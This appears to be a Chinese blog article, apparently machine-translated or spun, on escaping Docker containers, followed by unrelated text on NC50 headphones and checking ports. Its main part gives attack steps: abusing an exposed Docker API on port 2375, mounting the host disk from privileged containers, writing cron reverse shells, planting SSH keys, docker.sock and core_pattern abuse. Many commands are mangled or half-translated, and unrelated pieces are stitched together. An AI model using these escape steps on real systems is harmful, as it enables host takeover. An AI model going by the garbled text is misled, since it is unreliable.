nc监听本地端口,基于网络安全的Docker逃逸

这个本文主要介绍关于基于网络安全的Docker逃逸,以及nc监听本地端口对应的知识点,希望能对大家有帮助。


如何检查当前机器是否是Docker容器环境


Metasploit的checkcontainer模块,


配对学习教程


1检查根目录下是否存在dockerenv文件


2检查/proc/1/cgroup是否存在以及docker字符串是否存在。


猫/proc/1/cgroup


【帮你一一学习安全,关注我获取全部资源,私信回复“info”一一获取】网络安全学习之路20本渗透测试电子书安全攻防357页笔记50本安全攻防面试指南安全红队渗透工具包含网络安全必备书籍100个真实漏洞实例8各大安全公司内部视频资源9历届CTF夺旗竞赛题解析


3检查容器环境变量是否存在


使用envPATH检查是否有Docker相关的环境变量,以便进一步确定。


4种不同的检测方法


例如,检测挂载、fdisk-l查看硬盘、检查PID1的进程名称也可能有帮助。


Docker逃逸方法


1Docker因危险配置而逃逸


由于诸如34;34;等概念和原则的实施,直接利用漏洞变得越来越困难。另一方面,对于公共漏洞,安全运维人员能够及时修复,当然也会有漏网之鱼。相反,更常见的是,Docker逃逸以及其他漏洞是通过不正确且危险的配置来利用的,例如在生产环境中打开调试模式,从而导致漏洞被利用。


Docker将其功能黑名单机制更改为当前默认值,即在容器运行时禁用所有功能,然后使用白名单授予运行容器所需的最低权限。


发生逃逸的原因是未经授权访DocketRemoteAPI。


dockerswarm是一个管理docker集群的工具。主从管理,默认通过2375端口通信。绑定到DockerRemoteAPI的服务可以通过HTTP、Python和API调用来操作Docker。


Docker远程API的端口2375


入口


Firefox打开如下,证明存在未授权访漏洞


为了监听反弹shell,我们启用nc来监听Kali的本地端口。


反弹壳经验


导入dockerclient=dockerDockerClientbase_url=39;数据=clientcontainersrun39;r39;34;回声39;>>>>>>>>运行/tmp/etc/crontabs/root39;39;remove=True,volume=script将导致shell弹跳。从主机到kali


在Github上探索


其他方式


先参观


入口


创建一个包并获取返回的exec_id的参数。数据包内容如下


POST/containers/lt;container_idgt;/execHTTP/11Host:lt;docker_hostgt;PORTContent-Type:application/jsonContent-Length:188


注意cmd字段。这是将要执行的命令。


获得exec_id参数后,我们构造第二个exec_start数据包。内容如下


POST/exec/lt;exec_idgt;/startHTTP/11Host:lt;docker_hostgt;PORTContent-Type:application/json


至此,已经成功获取了在docker主机上执行命令的权限,但还没有逃逸到宿主机上。


在Docker容器中安装Docker作为客户端


apt-getinstalldockerio``yum-yinstalldocker查看主机系统上的Docker镜像信息


docker-Htcp://主机ip:2375镜像启动容器,并将主机根目录挂载到容器内的某个目录。


docker-Htcp://hostip:2375run-it-v/:/testadafef2e596e/bin/bash上述命令的意思是将主机根目录移动到容器adafef2e596e的/test目录下。


创建一个计划任务来反弹shell或者创建SSH公钥都可以。


回声39;>>>>>>>>/test/var/spool/cron/root在vps上使用nc命令等待反弹。shellnc-lvp8


Docker高危启动参数--privileged以特权模式启动容器。


在特权模式下启动容器可以使其访大量设备文件。这是因为当管理员运行dockerrun--privileged时,Docker容器可以访主机上的所有设备,并可以通过运行mount命令挂载它们。


当操作员运行dockerrun--privileged时,Docker会授予容器对主机上所有设备的访权限,并修改AppArmor或SELinux的配置,以确保容器与直接在主机上运行的进程具有大致相同的访权限。


以特权模式启动Ubuntu容器sudodockerrun-itd--privilegedubuntu:latest/bin/bash


进入容器


使用fdisk命令查看磁盘文件。


fdisk-l


在特权模式下,逃逸的方法有很多,比如直接将主机磁盘挂载到容器内部,然后切换根目录等。


mkdir/testmount/dev/vda1/test新建目录mkdir/test在新目录挂载磁盘mount/dev/vda1/test切换根目录chroot/test至此你已经成功越狱了,接下来就是常规的反弹壳。几乎就像未经授权编写SSH和Redis一样)


创建计划任务来反弹主机shell。回声39;>>>>>>>>/测试/var/spool/cron/crontabs/root


要使用SSH,您需要将主机的根目录挂载到容器中。dockerrun-itd-v/root:/rootubuntu:1804/bin/bashmkdir/root/sshcatid_rsapub>/root/ssh/authorized_keys然后使用您的SSH私钥登录。


其他参数Docker通过Linux命名空间实现六种资源隔离,包括主机名、用户权限、文件系统、网络、进程号、进程间通信。但有些启动参数赋予了容器更大的权限,打破了资源隔离的界限。


--cap-add=SYS_ADMIN允许在启动时执行挂载权限操作,需要使用资源挂载。


--net=host在启动时绕过网络命名空间。


--pid=host在启动时绕过PID命名空间。


--ipc=host在启动时绕过IPC命名空间。


2危险挂载导致Docker逃逸。


目录挂载


dockerrun-itd-v/dir:/dirubuntu:1804/bin/bash挂载Docker套接字


Docker采用C/S架构,在我们常用的Docker命令中,Docker是客户端,服务器的角色由Docker守护进程来承担。两者之间的通信方式有3种。


unix:///var/run/dockersockdefault


tcp://主机端口


fd://socketfd


Docker套接字是Docker守护进程使用的Unix域套接字,用于侦听守护进程并与其通信以查询信息或执行命令。


脱垂复发


首先,创建一个容器并挂载/var/run/dockersock。dockerrun-itd-v/var/run/dockersock:/var/run/dockersockubuntu


在容器内安装Docker命令行客户端。


apt-updateapt-get安装apt-transport-


在新容器上运行chroot,将根目录切换到挂载主机的根目录。成功逃逸至宿主系统。


主机进程挂载


dockerrun-itd-v/proc/sys/kernel/core_pattern:/host/proc/sys/kernel/core_patternUbuntu将其挂载在容器的/host/目录中以进行区分。


procfs是一个伪文件系统,它动态地反映进程和系统其他组件的状态,包括高度敏感和重要的文件。因此,将主机的procf挂载到不受控制的容器上也是非常危险的。如果容器默认启用root权限并且未启用用户命名空间,则尤其如此。


从内核版本2619开始,Linux支持/proc/sys/kernel/core_pattern中的新语法。如果文件中的第一个字符是管道字符|,则该行的其余部分将被解释为用户空间程序或脚本并执行。


Docker默认情况下不为容器启用用户命名空间。根据参考文献1,正常情况下主机的procfs是不会挂载在容器中的。然而,一些公司仍然安装它们以满足特定要求。具体原理参见参考文献1。这里我们重点关注杠杆。重复“利用core_pattern后门实现从挂载procfs的容器中逃逸。”利用思路攻击者进入挂载主机profs的容器,获得root权限,并将payload写入主机的procfs。


3Docker因程序漏洞而逃逸


runC容器逃逸漏洞CVE-2019-5736


漏洞简要描述


18092之前的Docker版本中使用的runc版本小于10-rc6,这可能允许攻击者重写主机上的runc二进制文件并在主机上以root身份执行命令。


即通过将宿主机系统上的runc二进制文件重写到docker容器中并执行来达到转义的目的使用条件Docker版本


你用pingip是查不出来的。如果不起作用,则意味着链接不起作用或者您不在同一网段。在Linux上,使用netstat-auntp|grep22检查端口22是否正在侦听。


确保您可以使用nc-z-w10ssh_server_ip22amp;amp;echogood||echobad远程连接。


一、nc50耳机说明书?

1、NC50是一款主动降噪蓝牙耳机,有效降低环境噪音97%。主要性能特点包括主动降噪、监控、磁力吸附和IPX4防水等级。


2、基本参数


佩戴方式入耳式


重量35-2克


阻抗32欧姆


ANC降噪28dB


频率范围20Hz-20kHz


降噪系统主动降噪技术


电池容量200mAh


3、优点


1.支持IPX4防水。


2.除了ANC主动降噪功能外,还具有监听功能。


3.电池寿命比较长。


过错


1.音质一般,不算突出。


2、左右耳机磁吸不具备吸合、暂停、单独播放功能。


3.没有本地存储空间,必须连接手机才能听音乐。


二、怎样检查本机端口情况?

1-有多种方法可以检查本地计算机的端口状态。2-首先,您可以使用命令行工具检查端口情况。在Windows系统上,您可以使用命令行工具(例如netstat或PortQry)来查看系统上端口的状态。在Linux系统上,您可以使用命令行工具(例如netstat或ss)检查端口状态。该命令可以显示当前监听的端口以及与其相关的进程信息。3-您还可以使用图形工具检查端口状态。例如,在Windows系统上,您可以使用资源监视器或TCPView等工具查看端口使用情况。在Linux系统上,您可以使用类似于netstat的图形工具查看端口使用情况,例如nethogs或iftop。4-如果需要检查远程主机的端口状态,可以使用telnet命令或nc命令测试端口连通性。这些命令可以模拟客户端和服务器之间的通信以确定端口是否打开。5-您还可以使用一些在线工具来检查端口情况。这些在线工具通常提供简单易用的界面,并允许您直接输入主机和端口信息进行检测。综上所述,检查本地端口状态可以通过命令行工具、图形工具、telnet命令、nc命令和在线工具来完成,适当的方法可能取决于您的具体要求和操作系统。


除非特别注明,本站所有文字均为原创文章,作者:admin

No Comment

留言

电子邮件地址不会被公开。 必填项已用*标注

感谢你的留言。。。